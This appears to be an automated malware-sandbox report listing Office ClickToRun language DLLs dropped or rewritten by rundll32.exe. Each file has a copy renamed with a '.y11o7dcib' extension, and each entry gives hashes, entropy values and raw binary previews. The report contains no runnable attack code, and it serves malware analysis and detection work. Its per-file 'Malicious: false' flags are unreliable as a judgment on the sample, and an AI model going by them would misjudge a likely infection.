Preview:	..d......].q...7..........b...^. YO..3-..K{k.Q7;...$.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............d.@..0<.9S...s7..h.....b..^. YO..3-..K{k..6;...$.4.................................`A........................................@...4............ ...................N..............8......d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4............rdata..............................@..@.rsrc........ ......................@..@...........................................d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4......................................................................................................................................d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4......................................................................................................................................d......]S...s7.........b...^. YO

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lv-lv.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55618
Entropy (8bit):	7.682710330104865
Encrypted:	false
SSDEEP:	768:d9CVZ5Pgy6D8O5mRGSamBYliXy8yiwUj6KBCS1ETmVwmaz+1Zhg+gdGE:d9CvA8OAGRld8yicKMS1a+ci1ZG+g
MD5:	81718B057FFF72417C30DF80D6238984
SHA1:	7909D037C6D29A1D00E06113C7C1C875962DAA7C
SHA-256:	C4B563A56C397BC412B0D7B17A1C6BFB5833349785A3E335C9FACB4B157F63A6
SHA-512:	157E4FC965E79402A80056557D67EB0E676DD155762819EA45B7AAAC96A6DE78EF9AAD5A7DE999A9946EB81BED84DA0C2766EBB24B0DCB43AA235287D939B105
Malicious:	false
Preview:	...........4.nF....a...P.>.@S%.c...5/.t...&g3...;`..U..X&E-.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............&..>.......)nFp.........0.@S%.....5/.t...6g3....a..U..X.G-...............................`A........................................@...4............ ...................N..............8.....&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-..........rdata..............................@..@.rsrc........ ......................@..@..........................................&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-...................................................................................................................................&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-...................................................................................................................................&.........)nFp...a.....>.@S%.c...5/

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lv-lv.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55618
Entropy (8bit):	7.682710330104865
Encrypted:	false
SSDEEP:	768:d9CVZ5Pgy6D8O5mRGSamBYliXy8yiwUj6KBCS1ETmVwmaz+1Zhg+gdGE:d9CvA8OAGRld8yicKMS1a+ci1ZG+g
MD5:	81718B057FFF72417C30DF80D6238984
SHA1:	7909D037C6D29A1D00E06113C7C1C875962DAA7C
SHA-256:	C4B563A56C397BC412B0D7B17A1C6BFB5833349785A3E335C9FACB4B157F63A6
SHA-512:	157E4FC965E79402A80056557D67EB0E676DD155762819EA45B7AAAC96A6DE78EF9AAD5A7DE999A9946EB81BED84DA0C2766EBB24B0DCB43AA235287D939B105
Malicious:	false
Preview:	...........4.nF....a...P.>.@S%.c...5/.t...&g3...;`..U..X&E-.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............&..>.......)nFp.........0.@S%.....5/.t...6g3....a..U..X.G-...............................`A........................................@...4............ ...................N..............8.....&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-..........rdata..............................@..@.rsrc........ ......................@..@..........................................&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-...................................................................................................................................&.........)nFp...a.....>.@S%.c...5/.t...&g3...;`..U..X.E-...................................................................................................................................&.........)nFp...a.....>.@S%.c...5/

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ms-my.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54482
Entropy (8bit):	7.617174022792068
Encrypted:	false
SSDEEP:	1536:YxX2m6qLbEMh8niHk5d9DjOrxQl1bKLWr:Ygm8jni0d9DYQlPr
MD5:	2BB4E08904256F7A8691A0C4C6F7CC45
SHA1:	4FBC18D145811FC00AECE941E9378EA390345D47
SHA-256:	A40C8E50EC460C4D2CAF49459CDA38E8A03B09B2D2AA9B6799CD453248EC05F7
SHA-512:	C0265E1E4BB9836ED07B06B89179279DE71F384B5192DF5187488601CBA948FA8FA62B0DD27450B110F0B349D57818261C94EAC7768EE71C53B4D2245B3A2F37
Malicious:	false
Preview:	l.K..6.........m....N.....bV..uW....U....~.._jK.DA.~g&..[..b.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............q.........l{m.m.......&...BV..uW....U....~.._jK.D..~g&...[.b...............................`A........................................@...4............ ...~...............M..............8...!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b..........rdata..............................@..@.rsrc....~... ......................@..@........................................!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b.................................................................................................................................!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b.................................................................................................................................!...6......{m.m....N......bV..uW....U..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ms-my.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54482
Entropy (8bit):	7.617174022792068
Encrypted:	false
SSDEEP:	1536:YxX2m6qLbEMh8niHk5d9DjOrxQl1bKLWr:Ygm8jni0d9DYQlPr
MD5:	2BB4E08904256F7A8691A0C4C6F7CC45
SHA1:	4FBC18D145811FC00AECE941E9378EA390345D47
SHA-256:	A40C8E50EC460C4D2CAF49459CDA38E8A03B09B2D2AA9B6799CD453248EC05F7
SHA-512:	C0265E1E4BB9836ED07B06B89179279DE71F384B5192DF5187488601CBA948FA8FA62B0DD27450B110F0B349D57818261C94EAC7768EE71C53B4D2245B3A2F37
Malicious:	false
Preview:	l.K..6.........m....N.....bV..uW....U....~.._jK.DA.~g&..[..b.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............q.........l{m.m.......&...BV..uW....U....~.._jK.D..~g&...[.b...............................`A........................................@...4............ ...~...............M..............8...!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b..........rdata..............................@..@.rsrc....~... ......................@..@........................................!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b.................................................................................................................................!...6......{m.m....N......bV..uW....U....~.._jK.DA.~g&..[.b.................................................................................................................................!...6......{m.m....N......bV..uW....U..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nb-no.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53674
Entropy (8bit):	7.612297508498503
Encrypted:	false
SSDEEP:	1536:C9j2MF5lnlZ9KlDnoV8YrN5RKAoo4oh5M+D1n:C9j2I5lnT9EDnoV8YrN5RKAoo4oh5V
MD5:	A673747B846284D1B6F86232A430E605
SHA1:	F698DF1832922BC5C31C37DA44ADC188D63AA38D
SHA-256:	7C99AA1FDEA679350260652FB32DAC941031CF16B3E3AB4673C1719194939E10
SHA-512:	E6DA24D35B2BBC201D3CF3F7E2DA076B0E311B0429579FE9115AD21395A12C7EAC4BA35BE8788E9EC9ACA84BE172906446136E630CB890FFEAD3544238B9239F
Malicious:	false
Preview:	../...T;.....t.4._.....H:P.).i.hy...d..\|~......jf . y.....6..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................HV;RZ>..X.t.4._..K.F.P.).i`hy...d..\|~......j.!. y....64................................`A........................................@...4............ ...z..............pN..............8...M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66...........rdata..............................@..@.rsrc....z... ...\|..................@..@........................................M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66..................................................................................................................................M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66..................................................................................................................................M.....T;.....X.t.4._...@.H:P.).i.hy...d

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nb-no.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53674
Entropy (8bit):	7.612297508498503
Encrypted:	false
SSDEEP:	1536:C9j2MF5lnlZ9KlDnoV8YrN5RKAoo4oh5M+D1n:C9j2I5lnT9EDnoV8YrN5RKAoo4oh5V
MD5:	A673747B846284D1B6F86232A430E605
SHA1:	F698DF1832922BC5C31C37DA44ADC188D63AA38D
SHA-256:	7C99AA1FDEA679350260652FB32DAC941031CF16B3E3AB4673C1719194939E10
SHA-512:	E6DA24D35B2BBC201D3CF3F7E2DA076B0E311B0429579FE9115AD21395A12C7EAC4BA35BE8788E9EC9ACA84BE172906446136E630CB890FFEAD3544238B9239F
Malicious:	false
Preview:	../...T;.....t.4._.....H:P.).i.hy...d..\|~......jf . y.....6..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................HV;RZ>..X.t.4._..K.F.P.).i`hy...d..\|~......j.!. y....64................................`A........................................@...4............ ...z..............pN..............8...M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66...........rdata..............................@..@.rsrc....z... ...\|..................@..@........................................M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66..................................................................................................................................M.....T;.....X.t.4._...@.H:P.).i.hy...d..\|~......jf . y....66..................................................................................................................................M.....T;.....X.t.4._...@.H:P.).i.hy...d

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nl-nl.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55098
Entropy (8bit):	7.615013642305998
Encrypted:	false
SSDEEP:	1536:wHe1Jh0NI5CPx8FPtKRo6efitPaJoeHg2:wmQNUPFVKS6elxZ
MD5:	2ADCCF189B685C4B009C7ED5E518F2D5
SHA1:	D8B009AD96481E192429485BF04E6E545C4499B6
SHA-256:	F1E5AA8BB7118BFD8C33CF6E04503D86CBE37375977B6A4FAA86D237B7EA6A6D
SHA-512:	381A7FBDA8D3E25FB69889BA8A7B667A077D3513F88ED0853390563B70556BA18EFD631887C27086F9162C838D3562FF73E9DED9AC51876282D346FA32D25E38
Malicious:	false
Preview:	...\J....Dw...?.ll.MJB.#.0A.s}.l.....6}..Q..'.......ni...ZQ..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............\-...r...)?..l.M.B..R2O.s}.l.....6}..Q..7.....h...ni....S................................`A........................................@...4............ ..l................N..............8...\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q...........rdata..............................@..@.rsrc...l.... ......................@..@........................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q..................................................................................................................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q..................................................................................................................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.nl-nl.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55098
Entropy (8bit):	7.615013642305998
Encrypted:	false
SSDEEP:	1536:wHe1Jh0NI5CPx8FPtKRo6efitPaJoeHg2:wmQNUPFVKS6elxZ
MD5:	2ADCCF189B685C4B009C7ED5E518F2D5
SHA1:	D8B009AD96481E192429485BF04E6E545C4499B6
SHA-256:	F1E5AA8BB7118BFD8C33CF6E04503D86CBE37375977B6A4FAA86D237B7EA6A6D
SHA-512:	381A7FBDA8D3E25FB69889BA8A7B667A077D3513F88ED0853390563B70556BA18EFD631887C27086F9162C838D3562FF73E9DED9AC51876282D346FA32D25E38
Malicious:	false
Preview:	...\J....Dw...?.ll.MJB.#.0A.s}.l.....6}..Q..'.......ni...ZQ..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich...............\-...r...)?..l.M.B..R2O.s}.l.....6}..Q..7.....h...ni....S................................`A........................................@...4............ ..l................N..............8...\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q...........rdata..............................@..@.rsrc...l.... ......................@..@........................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q..................................................................................................................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}..Q..'.......ni....Q..................................................................................................................................\.\I....Dw..)?..l.MJB.#Y0A.s}.l.....6}

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pl-pl.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59818
Entropy (8bit):	7.671586618412674
Encrypted:	false
SSDEEP:	1536:+7ue4bRu2xuCTAvpTzbiMgRXPjmtonUsN3:Gp4bcreMuXPjMy3
MD5:	81DE0E13553CD824E923A60E57FBFCE0
SHA1:	D66D98E3D6AEECB1F921564BC200FB0EFE98DFAE
SHA-256:	5E18AD01C26F4887EAC5FB9C4211627BB9D495FFB4CCC4B294AC59AA2780871E
SHA-512:	9FB3377D6920C399D599F6C39EAA167F4BE450E4C53037FF1BFD64A18770F387BA9D7919E7D8134FA319744D466B8EC2ADF7F77767A8ABEA1E0DA139FAD0C1C4
Malicious:	false
Preview:	..F..%o..?p+BJ.&yk.....qP.^.#2.e....hIt....8.(.:.....f5O............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.................m.w..O...&.k......s^(^.#2.e....hIt....8.(.......v5Ob................................`A........................................@...4............ ..P...............pN..............8....J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob............rdata..............................@..@.rsrc...P.... ......................@..@.........................................J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob....................................................................................................................................J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob....................................................................................................................................J...%o..?p+...&.k.....qP.^.#2.e....h

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pl-pl.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59818
Entropy (8bit):	7.671586618412674
Encrypted:	false
SSDEEP:	1536:+7ue4bRu2xuCTAvpTzbiMgRXPjmtonUsN3:Gp4bcreMuXPjMy3
MD5:	81DE0E13553CD824E923A60E57FBFCE0
SHA1:	D66D98E3D6AEECB1F921564BC200FB0EFE98DFAE
SHA-256:	5E18AD01C26F4887EAC5FB9C4211627BB9D495FFB4CCC4B294AC59AA2780871E
SHA-512:	9FB3377D6920C399D599F6C39EAA167F4BE450E4C53037FF1BFD64A18770F387BA9D7919E7D8134FA319744D466B8EC2ADF7F77767A8ABEA1E0DA139FAD0C1C4
Malicious:	false
Preview:	..F..%o..?p+BJ.&yk.....qP.^.#2.e....hIt....8.(.:.....f5O............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.................m.w..O...&.k......s^(^.#2.e....hIt....8.(.......v5Ob................................`A........................................@...4............ ..P...............pN..............8....J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob............rdata..............................@..@.rsrc...P.... ......................@..@.........................................J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob....................................................................................................................................J...%o..?p+...&.k.....qP.^.#2.e....hIt....8.(.:.....f5Ob....................................................................................................................................J...%o..?p+...&.k.....qP.^.#2.e....h

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-br.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54994
Entropy (8bit):	7.605907416170625
Encrypted:	false
SSDEEP:	1536:La9h0F6aejp4R8xLRNDtsobS8dT3xt9MRKmrua:La9Xp4MH2CrdTKtaa
MD5:	F555DE272EB1562968A1C41C4C4E94CE
SHA1:	55899E1CBAA8D3192A77162CFA594E7EA7FE5B9C
SHA-256:	26FEE46774098117FE4B6FCB7D3B095441595368A5D926F96B6D7BC5ADBEECE3
SHA-512:	8A9C1C6CD02364D8C8DF5A9C6EC1022A9AE2620ED4AC2D597806A54E54DC177BEB14065CB514E3E9E1E5002AA12A2A693C6B43EB875787AF2A1F394340E2382F
Malicious:	false
Preview:	+.+J...P2.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............6..J...P.............t.C.M.J..H.z.W.u3...b.S&....y.K..............................a....`A........................................@...4............ ..8................M..............8...f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,...........rdata..............................@..@.rsrc...8.... ......................@..@........................................f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..................................................................................................................................f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..................................................................................................................................f..J...P6.J............T.A.M.J...z.W

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-br.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54994
Entropy (8bit):	7.605907416170625
Encrypted:	false
SSDEEP:	1536:La9h0F6aejp4R8xLRNDtsobS8dT3xt9MRKmrua:La9Xp4MH2CrdTKtaa
MD5:	F555DE272EB1562968A1C41C4C4E94CE
SHA1:	55899E1CBAA8D3192A77162CFA594E7EA7FE5B9C
SHA-256:	26FEE46774098117FE4B6FCB7D3B095441595368A5D926F96B6D7BC5ADBEECE3
SHA-512:	8A9C1C6CD02364D8C8DF5A9C6EC1022A9AE2620ED4AC2D597806A54E54DC177BEB14065CB514E3E9E1E5002AA12A2A693C6B43EB875787AF2A1F394340E2382F
Malicious:	false
Preview:	+.+J...P2.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............6..J...P.............t.C.M.J..H.z.W.u3...b.S&....y.K..............................a....`A........................................@...4............ ..8................M..............8...f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,...........rdata..............................@..@.rsrc...8.... ......................@..@........................................f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..................................................................................................................................f..J...P6.J............T.A.M.J...z.W.u3...b.S&.g....y.K..,..................................................................................................................................f..J...P6.J............T.A.M.J...z.W

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-pt.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55506
Entropy (8bit):	7.616756411825157
Encrypted:	false
SSDEEP:	1536:HS80Z3XUVtfI3NW3WyxO6hpZVsUw0VF62ZT6lq:HWZ3XUVtg3E7ve7uTeq
MD5:	6BFB46AC4AF3F77CAE4DEB77A6ACEF24
SHA1:	D6F2EB020983DCA150B531BF5283077AC590BF21
SHA-256:	1F5F4ACCA7642447347F679FC407B0D2DF392C117CEF78BABEC3DEE7A9D0B870
SHA-512:	1BC8657E0687B604B0C1A3FBF7214D7948E46C38A9853720683005145FE59162E41F756C4B06FB9B418CE393F72F67046D741F5B439CB08BF2D27E52436C360D
Malicious:	false
Preview:	&.........a6S'..#'h...{R.>.GA.u.......)...DV..8.m..I..y..............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............;.R.._..,."..'..#'h...[..0$GA.u........)...DF..8.mo.I..y.....................................`A........................................@...4............ ...................M..............8...k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y................rdata..............................@..@.rsrc........ ......................@..@........................................k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y.......................................................................................................................................k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y.......................................................................................................................................k.R.......a.'..#'h...{..>.GA.u.......

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.pt-pt.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55506
Entropy (8bit):	7.616756411825157
Encrypted:	false
SSDEEP:	1536:HS80Z3XUVtfI3NW3WyxO6hpZVsUw0VF62ZT6lq:HWZ3XUVtg3E7ve7uTeq
MD5:	6BFB46AC4AF3F77CAE4DEB77A6ACEF24
SHA1:	D6F2EB020983DCA150B531BF5283077AC590BF21
SHA-256:	1F5F4ACCA7642447347F679FC407B0D2DF392C117CEF78BABEC3DEE7A9D0B870
SHA-512:	1BC8657E0687B604B0C1A3FBF7214D7948E46C38A9853720683005145FE59162E41F756C4B06FB9B418CE393F72F67046D741F5B439CB08BF2D27E52436C360D
Malicious:	false
Preview:	&.........a6S'..#'h...{R.>.GA.u.......)...DV..8.m..I..y..............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............;.R.._..,."..'..#'h...[..0$GA.u........)...DF..8.mo.I..y.....................................`A........................................@...4............ ...................M..............8...k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y................rdata..............................@..@.rsrc........ ......................@..@........................................k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y.......................................................................................................................................k.R.......a.'..#'h...{..>.GA.u.......)...DV..8.m..I..y.......................................................................................................................................k.R.......a.'..#'h...{..>.GA.u.......

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ro-ro.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59194
Entropy (8bit):	7.406544713870709
Encrypted:	false
SSDEEP:	1536:/4Xn2tw19HzdpoCrMYsptXx+eH5/QBCIXyzjgDb:/0iRxh8CngDb
MD5:	4E0ED8BE3A32FC242E326D9C80273EAF
SHA1:	335891ECC1B3833B5CB695D39B6C1916FFB97047
SHA-256:	BF1CCBCBC6158C070A8FDB40D172BC016348A5B908CA22AA180FBB6103203C4A
SHA-512:	9ED642B284544961689B9CDD125C32B08A48C9CE5D7F12BDCC8B29F62115120630EEE9184C10C10D9BD93475A2DB7FACE7862FF23360555DE4D9D8E0E05A1EC4
Malicious:	false
Preview:	h....Qq=.......=.)..G....`..qv.......\.KI.#.Z.Z..~..Q.Rr...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............u...w.s=h_e..$....).aG..I.n..qv.._.....\.KI.#.Z.Z1.~..Q.Rr@...........................7....`A........................................@...4............ ..................N..............8...%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@...........rdata..............................@..@.rsrc....... ......................@..@........................................%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@..................................................................................................................................%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@..................................................................................................................................%D...Qq=....$....)..G..B.`..qv.......\

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ro-ro.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59194
Entropy (8bit):	7.406544713870709
Encrypted:	false
SSDEEP:	1536:/4Xn2tw19HzdpoCrMYsptXx+eH5/QBCIXyzjgDb:/0iRxh8CngDb
MD5:	4E0ED8BE3A32FC242E326D9C80273EAF
SHA1:	335891ECC1B3833B5CB695D39B6C1916FFB97047
SHA-256:	BF1CCBCBC6158C070A8FDB40D172BC016348A5B908CA22AA180FBB6103203C4A
SHA-512:	9ED642B284544961689B9CDD125C32B08A48C9CE5D7F12BDCC8B29F62115120630EEE9184C10C10D9BD93475A2DB7FACE7862FF23360555DE4D9D8E0E05A1EC4
Malicious:	false
Preview:	h....Qq=.......=.)..G....`..qv.......\.KI.#.Z.Z..~..Q.Rr...........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............u...w.s=h_e..$....).aG..I.n..qv.._.....\.KI.#.Z.Z1.~..Q.Rr@...........................7....`A........................................@...4............ ..................N..............8...%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@...........rdata..............................@..@.rsrc....... ......................@..@........................................%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@..................................................................................................................................%D...Qq=....$....)..G..B.`..qv.......\.KI.#.Z.Z..~..Q.Rr@..................................................................................................................................%D...Qq=....$....)..G..B.`..qv.......\

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ru-ru.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	56634
Entropy (8bit):	7.611776239041037
Encrypted:	false
SSDEEP:	768:j+W8AaoyZNa5C0XdlbjJGAIPnMktqZmHbo1ZoGASvEKQdqiwc:a1logu13MPnMktqkHefAwEnFwc
MD5:	550FFAD08C13BB54D9230778E531C7A9
SHA1:	214CA5C6813BB19A028FB48963B0C1715D251522
SHA-256:	CD979298AEAEF92B1D1498EF4791FEACE74E8F0782F0DA7C1196D0E1BD8B79A3
SHA-512:	CB2D46783B79332FE083E2820585E06ADFA7EEB9DCCBD771A0521BDA9304FDAA8C12C2650B6E0FFE2ED587CB0D2582D40C7A2A7D0666F6A406268E0DCDB30155
Malicious:	false
Preview:	.....A..&..CL~...E..k...6.}.i.....{....f..:.\........=.+........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............n.w......~...E.. ..'6.}......{....f..:.].......U?.+.........................>....`A........................................@...4............ ..D................N..............8.....n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+.........rdata..............................@..@.rsrc...D.... ......................@..@..........................................n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+..................................................................................................................................n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+..................................................................................................................................n..A..&....~...E..+...6.}.i.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ru-ru.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	56634
Entropy (8bit):	7.611776239041037
Encrypted:	false
SSDEEP:	768:j+W8AaoyZNa5C0XdlbjJGAIPnMktqZmHbo1ZoGASvEKQdqiwc:a1logu13MPnMktqkHefAwEnFwc
MD5:	550FFAD08C13BB54D9230778E531C7A9
SHA1:	214CA5C6813BB19A028FB48963B0C1715D251522
SHA-256:	CD979298AEAEF92B1D1498EF4791FEACE74E8F0782F0DA7C1196D0E1BD8B79A3
SHA-512:	CB2D46783B79332FE083E2820585E06ADFA7EEB9DCCBD771A0521BDA9304FDAA8C12C2650B6E0FFE2ED587CB0D2582D40C7A2A7D0666F6A406268E0DCDB30155
Malicious:	false
Preview:	.....A..&..CL~...E..k...6.}.i.....{....f..:.\........=.+........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............n.w......~...E.. ..'6.}......{....f..:.].......U?.+.........................>....`A........................................@...4............ ..D................N..............8.....n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+.........rdata..............................@..@.rsrc...D.... ......................@..@..........................................n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+..................................................................................................................................n..A..&....~...E..+...6.}.i.....{....f..:.\.......U=.+..................................................................................................................................n..A..&....~...E..+...6.}.i.....

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sk-sk.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58570
Entropy (8bit):	7.442323688530925
Encrypted:	false
SSDEEP:	768:1Ho3w9NwCQUoO85aYjQL6kiSgEOp8TKbXQbOhNhUdhyh7h2zpblSIHuhOhKh7hTB:Vog9/QpEYjQ88KXQbVLAUYVa5H4ERwAI
MD5:	80B3C91D5ED8439D7F067D3975221250
SHA1:	623511A2D4FB8A2313C8BDB6236A9BAAE205F050
SHA-256:	53069662261BE272A4DA9FF02AC23C56240C743CCDCE831359B7E7FDD67ADF2B
SHA-512:	1CA26017D8DE897CBC7BD0EDE361EACC859DC0CF2BC0E7BBE62BD1AD4845E50F1FBE9F85489D753BE880D4501B5467C50FFC73EE3A2AF16E4E4971FA901113A0
Malicious:	false
Preview:	.W...`.tYU...L~...b.;g.."....e V. ....Dj....;$.cP.b.].U...A2z.A........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............Hz...t...~.~.\.b..g..i...e V. ....Dj....+$.cP..].U...A.x.A..............................`A........................................@...4............ ..H................M..............8.....z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A.........rdata..............................@..@.rsrc...H.... ......................@..@..........................................z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A..................................................................................................................................z..`.t]U...~.\.b.;g..b....e V. ....Dj....;$.cP.b.].U...A.z.A..................................................................................................................................z..`.t]U...~.\.b.;g..b....e V. ....D

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.sk-sk.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58570
Entropy (8bit):	7.442323688530925
Encrypted:	false
SSDEEP:	768:1Ho3w9NwCQUoO85aYjQL6kiSgEOp8TKbXQbOhNhUdhyh7h2zpblSIHuhOhKh7hTB:Vog9/QpEYjQ88KXQbVLAUYVa5H4ERwAI
MD5:	80B3C91D5ED8439D7F067D3975221250
SHA1:	623511A2D4FB8A2313C8BDB6236A9BAAE205F050
SHA-256:	53069662261BE272A4DA9FF02AC23C56240C743CCDCE831359B7E7FDD67ADF2B
